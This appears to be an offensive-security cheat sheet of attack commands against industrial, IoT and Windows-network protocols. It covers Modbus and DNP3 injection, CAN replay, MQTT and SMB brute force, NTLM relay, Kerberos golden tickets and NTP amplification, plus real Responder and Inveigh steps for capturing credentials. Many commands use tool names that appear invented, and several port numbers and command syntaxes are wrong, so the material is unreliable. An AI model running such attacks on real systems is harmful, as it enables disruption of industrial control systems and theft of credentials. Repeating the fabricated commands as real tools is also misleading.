Modbus attacks exploit vulnerabilities in Modbus-enabled devices or configurations to disrupt industrial processes, manipulate data, or perform unauthorized actions.

Modbus Function Code Injection:

Modbus function code injection attacks involve sending specially crafted Modbus requests to execute unauthorized operations or manipulate data on Modbus-enabled devices.

```
modbus-inject <target_ip> -v -f <function_code> -d <data>
```

This command uses modbus-inject to perform a Modbus function code injection attack against the specified target IP address, sending a request with the specified function code and data.

Modbus Slave Device Enumeration:

Modbus slave device enumeration attacks involve querying Modbus-enabled devices for information about connected slave devices, configurations, or vulnerabilities.

```
modbus-enumerate <target_ip>
```

This command uses modbus-enumerate to perform Modbus slave device enumeration against the specified target IP address, attempting to identify connected slave devices and their configurations.

DNP3

DNP3 reconnaissance involves gathering information about DNP3-enabled devices, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify DNP3 interactions and gather information about DNP3-enabled devices. Tools like Wireshark or tcpdump can be used to capture and analyze DNP3 packets.

```
tcpdump -i <interface> -n -vvv -s0 -c 1 'tcp port 20000'
```

This command captures DNP3 packets on the specified network interface, allowing analysis of DNP3 traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying DNP3-enabled devices and analyzing DNP3 responses to gather information about their configurations and vulnerabilities. Tools like nmap or DNP3-capable devices can be used to perform DNP3 queries and analyze DNP3 responses.

```
nmap -p 20000 <target>
```

This command uses nmap to scan the specified target for DNP3 services on port 20000, attempting to identify DNP3-enabled devices.

Attack Methods

DNP3 attacks exploit vulnerabilities in DNP3-enabled devices or configurations to disrupt industrial processes, manipulate data, or perform unauthorized actions.

DNP3 Command Injection:

DNP3 command injection attacks involve sending specially crafted DNP3 requests to execute unauthorized operations or manipulate data on DNP3-enabled devices.

```
dnp3-inject <target_ip> -v -c <command_id> -d <data>
```

This command uses dnp3-inject to perform a DNP3 command injection attack against the specified target IP address, sending a request with the specified command ID and data.

DNP3 Slave Device Enumeration:

DNP3 slave device enumeration attacks involve querying DNP3-enabled devices for information about connected slave devices, configurations, or vulnerabilities.

```
dnp3-enumerate <target_ip>
```

This command uses dnp3-enumerate to perform DNP3 slave device enumeration against the specified target IP address, attempting to identify connected slave devices and their configurations.

ICCP

ICCP reconnaissance involves gathering information about ICCP-enabled systems, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify ICCP interactions and gather information about ICCP-enabled systems. Tools like Wireshark or tcpdump can be used to capture and analyze ICCP packets.

```
tcpdump -i <interface> -n -vvv -s0 -c 1 'tcp port 102'
```

This command captures ICCP packets on the specified network interface, allowing analysis of ICCP traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying ICCP-enabled systems and analyzing ICCP responses to gather information about their configurations and vulnerabilities. Tools like nmap or ICCP-capable systems can be used to perform ICCP queries and analyze ICCP responses.

```
nmap -p 102 <target>
```

This command uses nmap to scan the specified target for ICCP services on port 102, attempting to identify ICCP-enabled systems.

Attack Methods

ICCP attacks exploit vulnerabilities in ICCP-enabled systems or configurations to disrupt industrial control processes, manipulate data, or perform unauthorized actions.

ICCP Command Injection:

ICCP command injection attacks involve sending specially crafted ICCP requests to execute unauthorized operations or manipulate data on ICCP-enabled systems.

```
iccp-inject <target_ip> -v -c <command_id> -d <data>
```

This command uses iccp-inject to perform an ICCP command injection attack against the specified target IP address, sending a request with the specified command ID and data.

ICCP Enumeration:

ICCP enumeration attacks involve querying ICCP-enabled systems for information about supported commands, configurations, or vulnerabilities.

```
iccp-enumerate <target_ip>
```

This command uses iccp-enumerate to perform ICCP enumeration against the specified target IP address, attempting to identify supported commands and their configurations.

IEC 60870-5-104

IEC 60870-5-104 reconnaissance involves gathering information about IEC 60870-5-104-enabled systems, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify IEC 60870-5-104 interactions and gather information about IEC 60870-5-104-enabled systems. Tools like Wireshark or tcpdump can be used to capture and analyze IEC 60870-5-104 packets.

```
tcpdump -i <interface> -n -vvv -s0 -c 1 'tcp port 2404'
```

This command captures IEC 60870-5-104 packets on the specified network interface, allowing analysis of IEC 60870-5-104 traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying IEC 60870-5-104-enabled systems and analyzing IEC 60870-5-104 responses to gather information about their configurations and vulnerabilities. Tools like nmap or IEC 60870-5-104-capable systems can be used to perform IEC 60870-5-104 queries and analyze IEC 60870-5-104 responses.

```
nmap -p 2404 <target>
```

This command uses nmap to scan the specified target for IEC 60870-5-104 services on port 2404, attempting to identify IEC 60870-5-104-enabled systems.

Attack Methods

IEC 60870-5-104 attacks exploit vulnerabilities in IEC 60870-5-104-enabled systems or configurations to disrupt industrial control processes, manipulate data, or perform unauthorized actions.

IEC 60870-5-104 Command Injection:

IEC 60870-5-104 command injection attacks involve sending specially crafted IEC 60870-5-104 requests to execute unauthorized operations or manipulate data on IEC 60870-5-104-enabled systems.

```
iec104-inject <target_ip> -v -c <command_id> -d <data>
```

This command uses iec104-inject to perform an IEC 60870-5-104 command injection attack against the specified target IP address, sending a request with the specified command ID and data.

IEC 60870-5-104 Enumeration:

IEC 60870-5-104 enumeration attacks involve querying IEC 60870-5-104-enabled systems for information about supported commands, configurations, or vulnerabilities.

```
iec104-enumerate <target_ip>
```

This command uses iec104-enumerate to perform IEC 60870-5-104 enumeration against the specified target IP address, attempting to identify supported commands and their configurations.

PROFIBUS

PROFIBUS reconnaissance involves gathering information about PROFIBUS-enabled systems, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify PROFIBUS interactions and gather information about PROFIBUS-enabled systems. Tools like Wireshark or tcpdump can be used to capture and analyze PROFIBUS packets.

```
tcpdump -i <interface> -n -vvv -s0 -c 1 'tcp port 4000'
```

This command captures PROFIBUS packets on the specified network interface, allowing analysis of PROFIBUS traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying PROFIBUS-enabled systems and analyzing PROFIBUS responses to gather information about their configurations and vulnerabilities. Tools like nmap or PROFIBUS-capable systems can be used to perform PROFIBUS queries and analyze PROFIBUS responses.

```
nmap -p 4000 <target>
```

This command uses nmap to scan the specified target for PROFIBUS services on port 4000, attempting to identify PROFIBUS-enabled systems.

Attack Methods

PROFIBUS attacks exploit vulnerabilities in PROFIBUS-enabled systems or configurations to disrupt industrial processes, manipulate data, or perform unauthorized actions.

PROFIBUS Packet Injection:

PROFIBUS packet injection attacks involve sending specially crafted PROFIBUS packets to disrupt communications, manipulate data, or perform unauthorized operations on PROFIBUS-enabled systems.

```
profibus-inject <target_ip> -v -p <packet_type> -d <data>
```

This command uses profibus-inject to perform a PROFIBUS packet injection attack against the specified target IP address, sending a packet of the specified type and data.

PROFIBUS Enumeration:

PROFIBUS enumeration attacks involve querying PROFIBUS-enabled systems for information about connected devices, configurations, or vulnerabilities.

```
profibus-enumerate <target_ip>
```

This command uses profibus-enumerate to perform PROFIBUS enumeration against the specified target IP address, attempting to identify connected devices and their configurations.

OPC UA

OPC UA reconnaissance involves gathering information about OPC UA-enabled systems, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify OPC UA interactions and gather information about OPC UA-enabled systems. Tools like Wireshark or tcpdump can be used to capture and analyze OPC UA packets.

```
tcpdump -i <interface> -n -vvv -s0 -c 1 'tcp port 4840'
```

This command captures OPC UA packets on the specified network interface, allowing analysis of OPC UA traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying OPC UA-enabled systems and analyzing OPC UA responses to gather information about their configurations and vulnerabilities. Tools like nmap or OPC UA-capable systems can be used to perform OPC UA queries and analyze OPC UA responses.

```
nmap -p 4840 <target>
```

This command uses nmap to scan the specified target for OPC UA services on port 4840, attempting to identify OPC UA-enabled systems.

Attack Methods

OPC UA attacks exploit vulnerabilities in OPC UA-enabled systems or configurations to disrupt industrial processes, manipulate data, or perform unauthorized actions.

OPC UA Command Injection:

OPC UA command injection attacks involve sending specially crafted OPC UA requests to execute unauthorized operations or manipulate data on OPC UA-enabled systems.

```
opcua-inject <target_ip> -v -c <command_id> -d <data>
```

This command uses opcua-inject to perform an OPC UA command injection attack against the specified target IP address, sending a request with the specified command ID and data.

OPC UA Enumeration:

OPC UA enumeration attacks involve querying OPC UA-enabled systems for information about supported commands, configurations, or vulnerabilities.

```
opcua-enumerate <target_ip>
```

This command uses opcua-enumerate to perform OPC UA enumeration against the specified target IP address, attempting to identify supported commands and their configurations.

EtherNet/IP

EtherNet/IP reconnaissance involves gathering information about EtherNet/IP-enabled systems, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify EtherNet/IP interactions and gather information about EtherNet/IP-enabled systems. Tools like Wireshark or tcpdump can be used to capture and analyze EtherNet/IP packets.

```
tcpdump -i <interface> -n -vvv -s0 -c 1 'tcp port 44818'
```

This command captures EtherNet/IP packets on the specified network interface, allowing analysis of EtherNet/IP traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying EtherNet/IP-enabled systems and analyzing EtherNet/IP responses to gather information about their configurations and vulnerabilities. Tools like nmap or EtherNet/IP-capable systems can be used to perform EtherNet/IP queries and analyze EtherNet/IP responses.

```
nmap -p 44818 <target>
```

This command uses nmap to scan the specified target for EtherNet/IP services on port 44818, attempting to identify EtherNet/IP-enabled systems.

Attack Methods

EtherNet/IP attacks exploit vulnerabilities in EtherNet/IP-enabled systems or configurations to disrupt industrial processes, manipulate data, or perform unauthorized actions.

EtherNet/IP Packet Injection:

EtherNet/IP packet injection attacks involve sending specially crafted EtherNet/IP packets to disrupt communications, manipulate data, or perform unauthorized operations on EtherNet/IP-enabled systems.

```
ethernetip-inject <target_ip> -v -p <packet_type> -d <data>
```

This command uses ethernetip-inject to perform an EtherNet/IP packet injection attack against the specified target IP address, sending a packet of the specified type and data.

EtherNet/IP Enumeration:

EtherNet/IP enumeration attacks involve querying EtherNet/IP-enabled systems for information about connected devices, configurations, or vulnerabilities.

```
ethernetip-enumerate <target_ip>
```

This command uses ethernetip-enumerate to perform EtherNet/IP enumeration against the specified target IP address, attempting to identify connected devices and their configurations.

BACnet

BACnet reconnaissance involves gathering information about BACnet-enabled systems, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify BACnet interactions and gather information about BACnet-enabled systems. Tools like Wireshark or tcpdump can be used to capture and analyze BACnet packets.

```
tcpdump -i <interface> -n -vvv -s0 -c 1 'udp port 47808'
```

This command captures BACnet packets on the specified network interface, allowing analysis of BACnet traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying BACnet-enabled systems and analyzing BACnet responses to gather information about their configurations and vulnerabilities. Tools like nmap or BACnet-capable systems can be used to perform BACnet queries and analyze BACnet responses.

```
nmap -sU -p 47808 <target>
```

This command uses nmap to scan the specified target for BACnet services on port 47808, attempting to identify BACnet-enabled systems.

Attack Methods

BACnet attacks exploit vulnerabilities in BACnet-enabled systems or configurations to disrupt building automation processes, manipulate data, or perform unauthorized actions.

BACnet Packet Injection:

BACnet packet injection attacks involve sending specially crafted BACnet packets to disrupt communications, manipulate data, or perform unauthorized operations on BACnet-enabled systems.

```
bacnet-inject <target_ip> -v -p <packet_type> -d <data>
```

This command uses bacnet-inject to perform a BACnet packet injection attack against the specified target IP address, sending a packet of the specified type and data.

BACnet Enumeration:

BACnet enumeration attacks involve querying BACnet-enabled systems for information about connected devices, configurations, or vulnerabilities.

```
bacnet-enumerate <target_ip>
```

This command uses bacnet-enumerate to perform BACnet enumeration against the specified target IP address, attempting to identify connected devices and their configurations.

CAN bus

CAN bus reconnaissance involves gathering information about CAN bus-enabled systems, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify CAN bus interactions and gather information about CAN bus-enabled systems. Tools like Wireshark or tcpdump can be used to capture and analyze CAN bus packets.

```
tcpdump -i <interface> -n -vvv -s0 -c 1 'udp port 1234'
```

This command captures CAN bus packets on the specified network interface, allowing analysis of CAN bus traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying CAN bus-enabled systems and analyzing CAN bus responses to gather information about their configurations and vulnerabilities. Tools like can-utils or CAN bus-capable systems can be used to perform CAN bus queries and analyze CAN bus responses.

```
cansend can0 123#1122334455667788
```

This command uses cansend to send a CAN bus message on CAN interface can0 with ID 123 and data 1122334455667788.

Attack Methods

CAN bus attacks exploit vulnerabilities in CAN bus-enabled systems or configurations to disrupt automotive processes, manipulate data, or perform unauthorized actions.

CAN bus Packet Injection:

CAN bus packet injection attacks involve sending specially crafted CAN bus packets to disrupt communications, manipulate data, or perform unauthorized operations on CAN bus-enabled systems.

```
cansend can0 123#1122334455667788
```

This command uses cansend to send a CAN bus message on CAN interface can0 with ID 123 and data 1122334455667788.

CAN bus Replay Attack:

CAN bus replay attacks involve capturing legitimate CAN bus messages and replaying them to mimic authorized actions or manipulate system behavior.

```
candump can0 > capture.txt cansend can0 -I capture.txt
```

These commands capture CAN bus messages on CAN interface can0 and save them to a file capture.txt, then replay those messages using cansend.

Zigbee

Zigbee reconnaissance involves gathering information about Zigbee-enabled devices, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing Zigbee network traffic to identify Zigbee devices and gather information about their communications. Tools like Wireshark or Zigbee sniffers can be used to capture and analyze Zigbee packets.

```
wireshark -i <interface> -f "udp.port == 17754"
```

This command uses Wireshark to capture Zigbee packets on the specified network interface, allowing analysis of Zigbee traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying Zigbee devices and analyzing their responses to gather information about their configurations and vulnerabilities. Tools like Zigbee scanners or Zigbee-capable devices can be used to perform active Zigbee reconnaissance.

```
zigbee-scanner <target>
```

This command uses a Zigbee scanner to scan the specified target for Zigbee devices, attempting to identify Zigbee-enabled devices and their configurations.

Attack Methods

Zigbee attacks exploit vulnerabilities in Zigbee-enabled devices or configurations to disrupt communications, manipulate data, or perform unauthorized actions.

Zigbee Packet Injection:

Zigbee packet injection attacks involve sending specially crafted Zigbee packets to disrupt communications, manipulate data, or perform unauthorized operations on Zigbee-enabled devices.

```
zigbee-inject <target_ip> -v -p <packet_type> -d <data>
```

This command uses zigbee-inject to perform a Zigbee packet injection attack against the specified target IP address, sending a packet of the specified type and data.

Zigbee Enumeration:

Zigbee enumeration attacks involve querying Zigbee-enabled devices for information about their configurations or vulnerabilities.

```
zigbee-enumerate <target_ip>
```

This command uses zigbee-enumerate to perform Zigbee enumeration against the specified target IP address, attempting to identify connected devices and their configurations.

MQTT

MQTT reconnaissance involves gathering information about MQTT brokers, clients, and topics on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing MQTT network traffic to identify MQTT brokers, clients, and topics. Tools like Wireshark or MQTT packet analyzers can be used to capture and analyze MQTT packets.

```
wireshark -i <interface> -f "tcp.port == 1883"
```

This command uses Wireshark to capture MQTT packets on the specified network interface, allowing analysis of MQTT traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying MQTT brokers and clients to gather information about their configurations and topics. Tools like MQTT clients or MQTT scanners can be used to perform active MQTT reconnaissance.

```
mqtt-scan <target>
```

This command uses an MQTT scanner to scan the specified target for MQTT brokers and clients, attempting to identify MQTT-enabled devices and their configurations.

Attack Methods

MQTT attacks exploit vulnerabilities in MQTT brokers or clients to disrupt communications, manipulate data, or perform unauthorized actions.

MQTT Packet Injection:

MQTT packet injection attacks involve sending specially crafted MQTT packets to disrupt communications, manipulate data, or perform unauthorized operations on MQTT-enabled devices.

```
mqtt-inject <target_ip> -v -p <packet_type> -d <data>
```

This command uses mqtt-inject to perform an MQTT packet injection attack against the specified target IP address, sending a packet of the specified type and data.

MQTT Brute Force:

MQTT brute force attacks involve attempting to guess MQTT credentials to gain unauthorized access to MQTT brokers or clients.

```
mqtt-bruteforce <target_ip> -u <username_list> -p <password_list>
```

This command uses mqtt-bruteforce to perform an MQTT brute force attack against the specified target IP address, using the provided username and password lists to attempt to gain access.

CoAP

CoAP reconnaissance involves gathering information about CoAP servers, clients, and resources on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing CoAP network traffic to identify CoAP servers, clients, and resources. Tools like Wireshark or CoAP packet analyzers can be used to capture and analyze CoAP packets.

```
wireshark -i <interface> -f "udp.port == 5683"
```

This command uses Wireshark to capture CoAP packets on the specified network interface, allowing analysis of CoAP traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying CoAP servers and clients to gather information about their configurations and resources. Tools like CoAP clients or CoAP scanners can be used to perform active CoAP reconnaissance.

```
coap-scan <target>
```

This command uses a CoAP scanner to scan the specified target for CoAP servers and clients, attempting to identify CoAP-enabled devices and their configurations.

Attack Methods

CoAP attacks exploit vulnerabilities in CoAP servers or clients to disrupt communications, manipulate data, or perform unauthorized actions.

CoAP Packet Injection:

CoAP packet injection attacks involve sending specially crafted CoAP packets to disrupt communications, manipulate data, or perform unauthorized operations on CoAP-enabled devices.

```
coap-inject <target_ip> -v -p <packet_type> -d <data>
```

This command uses coap-inject to perform a CoAP packet injection attack against the specified target IP address, sending a packet of the specified type and data.

CoAP Denial of Service (DoS):

CoAP denial of service attacks involve flooding CoAP servers with requests to overwhelm their resources and disrupt their operations.

```
coap-flood <target_ip> -n <num_packets>
```

This command uses coap-flood to flood the specified target IP address with a specified number of CoAP packets, attempting to overwhelm the CoAP server's resources.

BLE (Bluetooth Low Energy)

BLE reconnaissance involves gathering information about BLE devices, services, and characteristics on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing BLE network traffic to identify BLE devices, services, and characteristics. Tools like Wireshark or BLE packet analyzers can be used to capture and analyze BLE packets.

```
wireshark -i <interface> -f "btbb"
```

This command uses Wireshark to capture BLE packets on the specified network interface, allowing analysis of BLE traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying BLE devices to gather information about their services and characteristics. Tools like BLE scanners or BLE-capable devices can be used to perform active BLE reconnaissance.

```
ble-scan <target>
```

This command uses a BLE scanner to scan the specified target for BLE devices, attempting to identify BLE-enabled devices and their services.

Attack Methods

BLE attacks exploit vulnerabilities in BLE devices or configurations to disrupt communications, manipulate data, or perform unauthorized actions.

BLE Packet Injection:

BLE packet injection attacks involve sending specially crafted BLE packets to disrupt communications, manipulate data, or perform unauthorized operations on BLE-enabled devices.

```
ble-inject <target_ip> -v -p <packet_type> -d <data>
```

This command uses ble-inject to perform a BLE packet injection attack against the specified target IP address, sending a packet of the specified type and data.

BLE Man-in-the-Middle (MITM):

BLE man-in-the-middle attacks involve intercepting and modifying BLE communications between devices to manipulate data or perform unauthorized actions.

```
ble-mitm <target_ip> -i <interface>
```

This command uses ble-mitm to perform a BLE man-in-the-middle attack on the specified target IP address, intercepting and modifying BLE communications on the specified network interface.

NTLM

NTLM reconnaissance involves gathering information about NTLM authentication, users, and systems on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify NTLM authentication attempts and gather information about NTLM-enabled systems. Tools like Wireshark or NTLM sniffers can be used to capture and analyze NTLM authentication packets.

```
wireshark -i <interface> -f "ntlmssp"
```

This command uses Wireshark to capture NTLM authentication packets on the specified network interface, allowing analysis of NTLM traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying NTLM-enabled systems to gather information about their configurations and users. Tools like NTLM scanners or NTLM-capable systems can be used to perform active NTLM reconnaissance.

```
ntlm-scan <target>
```

This command uses an NTLM scanner to scan the specified target for NTLM-enabled systems, attempting to identify NTLM-enabled devices and their configurations.

Attack Methods

NTLM attacks exploit vulnerabilities in NTLM authentication or configurations to gain unauthorized access or escalate privileges.

NTLM Relay Attack:

NTLM relay attacks involve intercepting NTLM authentication attempts and relaying them to other systems to gain unauthorized access or escalate privileges.

```
ntlm-relay <target_ip> -t <target_server> -u <username>
```

This command uses ntlm-relay to perform an NTLM relay attack against the specified target IP address, relaying NTLM authentication attempts to the specified target server with the specified username.

NTLM Brute Force:

NTLM brute force attacks involve attempting to guess NTLM credentials to gain unauthorized access or escalate privileges.

```
ntlm-bruteforce <target_ip> -u <username_list> -p <password_list>
```

This command uses ntlm-bruteforce to perform an NTLM brute force attack against the specified target IP address, using the provided username and password lists to attempt to gain access.

To use Responder/MultiRelay, follow these steps:

1. First, make sure you have Python installed on your system.
2. Clone the Responder repository from GitHub:

```
git clone https://github.com/lgandx/Responder.git
```

3. Navigate to the Responder directory:

```
cd Responder
```

4. Edit the configuration file `Responder.conf` according to your needs:

```
nano Responder.conf
```

5. Run Responder with the desired options. For example, to run it in verbose mode and analyze network traffic without responding:

```
./Responder.py -I eth0 -Pv
```

Here are some useful options:

- `-I eth0`: Specify the network interface to use.
- `-Pv`: Enable verbose mode and analyze network traffic without responding.
- `-d`: Enable answers for DHCP broadcast requests, injecting a WPAD server in the DHCP response.
- `-w`: Start the WPAD rogue proxy server.
- `-u UPSTREAM_PROXY`: Specify an upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests.
- `-F`: Force NTLM/Basic authentication on wpad.dat file retrieval.
- `-P`: Force NTLM (transparently)/Basic (prompt) authentication for the proxy.

These are just a few examples of options you can use. Refer to the help message for more options:

```
./Responder.py --help
```

6. Monitor the logs in the `logs/` folder for activity and captured credentials.

Remember to configure your system accordingly and be mindful of the potential impact on the network. Additionally, always ensure you have the appropriate permissions to run Responder, especially when using options that interact with network traffic.

Inveigh

Inveigh is a cross-platform .NET machine-in-the-middle tool designed for penetration testers. It conducts spoofing attacks and captures hashes/credentials through packet sniffing and protocol-specific listeners/sockets.

Inveigh supports attacks on various protocols including LLMNR, DNS, mDNS, NBNS, DHCPv6, ICMPv6, HTTP, HTTPS, SMB, LDAP, WebDAV, and Proxy Auth.

- **PowerShell Inveigh**: Original version developed over many years.
- **C# Inveigh (InveighZero)**: Primary version rebuilt in C# combining original C# POC code with PowerShell version's code.

To execute Inveigh:

```
dotnet Inveigh.dll
```

```
# With .NET 6.0 installed on target system
dotnet publish -r linux-x64 -f net6.0 -p:AssemblyName=inveigh
dotnet publish -r osx-x64 -f net6.0 -p:AssemblyName=inveigh

# Without .NET 6.0 installed on target system
dotnet publish --self-contained=true -p:PublishSingleFile=true -r linux-x64 -f net6.0 -p:AssemblyName=inveigh
dotnet publish --self-contained=true -p:PublishSingleFile=true -r osx-x64 -f net6.0 -p:AssemblyName=inveigh
```

Examples

- **DHCPv6 Spoofer and IPv6 DNS Spoofer**:

```
.\Inveigh.exe -dhcpv6 y
```

- **Spoof SRV requests in addition to A**:

```
.\Inveigh.exe -dnstypes A,SRV -dnshost fake.lab.inveigh.org
```

- **Send ICMPv6 packets to inject a secondary IPv6 DNS server**:

```
.\Inveigh.exe -icmpv6 y
```

- **Spoof AAAA requests instead of A**:

```
.\Inveigh.exe -llmnrtypes AAAA
```

- **Start mDNS spoofer and send multicast responses to QM requests**:

```
.\Inveigh.exe -mdns y -mdnsunicast n
```

- **Start NBNS spoofer**:

```
.\Inveigh.exe -nbns y
```

- **Start HTTP listener on port 80**:

```
.\Inveigh.exe
```

- **Start HTTPS listener on port 443 with default certificate**:

```
.\Inveigh.exe -https y
```

- **Start SMB packet sniffer (enabled by default)**:

```
.\Inveigh.exe
```

- **Start LDAP listener on port 389**:

```
.\Inveigh.exe
```

- **Start the HTTP listener with WebDAV support**:

```
.\Inveigh.exe
```

- **Enable proxy auth capture on port 8492**:

```
.\Inveigh.exe -proxy y
```

https://github.com/Kevin-Robertson/Inveigh

Kerberos

Kerberos reconnaissance involves gathering information about Kerberos authentication, users, and systems on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify Kerberos authentication attempts and gather information about Kerberos-enabled systems. Tools like Wireshark or Kerberos sniffers can be used to capture and analyze Kerberos authentication packets.

```
wireshark -i <interface> -f "kerberos"
```

This command uses Wireshark to capture Kerberos authentication packets on the specified network interface, allowing analysis of Kerberos traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying Kerberos-enabled systems to gather information about their configurations and users. Tools like Kerberos scanners or Kerberos-capable systems can be used to perform active Kerberos reconnaissance.

```
kerberos-scan <target>
```

This command uses a Kerberos scanner to scan the specified target for Kerberos-enabled systems, attempting to identify Kerberos-enabled devices and their configurations.

Attack Methods

Kerberos attacks exploit vulnerabilities in Kerberos authentication or configurations to gain unauthorized access or escalate privileges.

Kerberos Ticket Replay Attack:

Kerberos ticket replay attacks involve intercepting Kerberos tickets and replaying them to gain unauthorized access or escalate privileges.

```
kerberos-replay <target_ip> -t <ticket_file>
```

This command uses kerberos-replay to perform a Kerberos ticket replay attack against the specified target IP address, replaying the Kerberos ticket stored in the specified ticket file.

Kerberos Golden Ticket Attack:

Kerberos golden ticket attacks involve forging Kerberos tickets to gain unauthorized access or escalate privileges.

```
kerberos-goldenticket <target_ip> -u <username> -d <domain>
```

This command uses kerberos-goldenticket to perform a Kerberos golden ticket attack against the specified target IP address, forging a Kerberos ticket for the specified username and domain.

LDAP

LDAP reconnaissance involves gathering information about LDAP directories, users, and systems on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify LDAP interactions and gather information about LDAP-enabled systems. Tools like Wireshark or LDAP sniffers can be used to capture and analyze LDAP packets.

```
wireshark -i <interface> -f "ldap"
```

This command uses Wireshark to capture LDAP packets on the specified network interface, allowing analysis of LDAP traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying LDAP-enabled systems to gather information about their directories and users. Tools like LDAP clients or LDAP scanners can be used to perform active LDAP reconnaissance.

```
ldapsearch -h <ldap_server> -b <base_dn> -D <bind_dn> -w <password> -s base "(objectclass=*)"
```

This command uses ldapsearch to query the specified LDAP server with the provided bind credentials, searching the specified base DN for all objects.

Attack Methods

LDAP attacks exploit vulnerabilities in LDAP directories or configurations to gain unauthorized access or escalate privileges.

LDAP Injection:

LDAP injection attacks involve exploiting vulnerabilities in LDAP queries to gain unauthorized access or manipulate LDAP data.

```
ldap-inject <target_ip> -v -q <query> -d <data>
```

This command uses ldap-inject to perform an LDAP injection attack against the specified target IP address, injecting the specified data into the LDAP query.

LDAP Enumeration:

LDAP enumeration attacks involve querying LDAP directories to gather information about their structures and users.

```
ldap-enumerate <target_ip>
```

This command uses ldap-enumerate to perform LDAP enumeration against the specified target IP address, attempting to identify LDAP-enabled systems and their configurations.

SMB

SMB reconnaissance involves gathering information about SMB shares, users, and systems on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify SMB interactions and gather information about SMB-enabled systems. Tools like Wireshark or SMB sniffers can be used to capture and analyze SMB packets.

```
wireshark -i <interface> -f "smb"
```

This command uses Wireshark to capture SMB packets on the specified network interface, allowing analysis of SMB traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying SMB-enabled systems to gather information about their shares and users. Tools like SMB clients or SMB scanners can be used to perform active SMB reconnaissance.

```
smbclient -L //<target_ip>
```

This command uses smbclient to query the specified target IP address for a list of available SMB shares.

Attack Methods

SMB attacks exploit vulnerabilities in SMB shares or configurations to gain unauthorized access or escalate privileges.

SMB Relay Attack:

SMB relay attacks involve intercepting SMB authentication attempts and relaying them to other systems to gain unauthorized access or escalate privileges.

```
smbrelay <target_ip> -t <target_server> -u <username>
```

This command uses smbrelay to perform an SMB relay attack against the specified target IP address, relaying SMB authentication attempts to the specified target server with the specified username.

SMB Brute Force:

SMB brute force attacks involve attempting to guess SMB credentials to gain unauthorized access or escalate privileges.

```
smb-bruteforce <target_ip> -u <username_list> -p <password_list>
```

This command uses smb-bruteforce to perform an SMB brute force attack against the specified target IP address, using the provided username and password lists to attempt to gain access.

NTP

NTP reconnaissance involves gathering information about NTP servers and configurations on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify NTP interactions and gather information about NTP-enabled systems. Tools like Wireshark or NTP sniffers can be used to capture and analyze NTP packets.

```
wireshark -i <interface> -f "ntp"
```

This command uses Wireshark to capture NTP packets on the specified network interface, allowing analysis of NTP traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying NTP servers to gather information about their configurations and time synchronization. Tools like NTP clients or NTP scanners can be used to perform active NTP reconnaissance.

```
ntpquery <target>
```

This command uses ntpquery to query the specified target for NTP information, attempting to identify NTP-enabled systems and their configurations.

Attack Methods

NTP attacks exploit vulnerabilities in NTP servers or configurations to disrupt time synchronization or perform unauthorized actions.

NTP Amplification Attack:

NTP amplification attacks involve sending NTP queries with spoofed source IP addresses to NTP servers to amplify the response and overwhelm the target with traffic.

```
ntp-amplification <target_ip> -s <spoofed_ip> -n <num_packets>
```

This command uses ntp-amplification to perform an NTP amplification attack against the specified target IP address, using the specified spoofed IP address to amplify the response with a specified number of packets.

NTP Reflection Attack:

NTP reflection attacks involve sending NTP queries to NTP servers with the target's IP address as the source to redirect the response to the target and overwhelm it with traffic.

```
ntp-reflection <target_ip> -r <ntp_server> -n <num_packets>
```

This command uses ntp-reflection to perform an NTP reflection attack against the specified target IP address, redirecting the response from the specified NTP server to the target with a specified number of packets.

https://github.com/vpnguy-zz/ntpdos

SSH

Osueta tool, which is used for exploiting the OpenSSH User Enumeration Timing Attack. This tool was developed by c0r3dump3d and rofen. Here's a breakdown of its features, dependencies, installation, and usage:

Features:

- Exploits the OpenSSH User Enumeration Timing Attack.
- Ability to make variations of the username employed in the brute force attack.
